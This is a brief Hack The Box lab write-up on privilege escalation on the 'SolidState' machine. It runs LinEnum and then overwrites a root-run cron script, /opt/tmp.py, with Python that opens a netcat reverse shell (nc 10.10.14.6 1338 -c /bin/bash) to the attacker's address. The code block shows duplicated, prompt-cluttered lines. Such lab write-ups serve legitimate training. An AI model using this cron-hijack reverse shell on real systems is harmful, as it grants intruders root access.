> For the complete documentation index, see [llms.txt](https://htb.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://htb.adot8.com/hack-the-box/oscp-like-boxes/linux/solidstate/priv-esc.md).

# Priv Esc

```
./linenum -t
```

<figure><img src="/files/BtJMaV4F048d3J3SmkEl" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
Noticed my scripts were getting deleted every minute
{% endhint %}

```
echo '#!/usr/bin/env python
echo '#!/usr/bin/env python
> import os
import os
> 

> import sys
import sys
> os.system("nc 10.10.14.6 1338 -c /bin/bash")
os.system("nc 10.10.14.6 1338 -c /bin/bash")
> ' > /opt/tmp.py

```

<figure><img src="/files/bvkCmcUvuH4VS1HgmqIK" alt=""><figcaption></figcaption></figure>
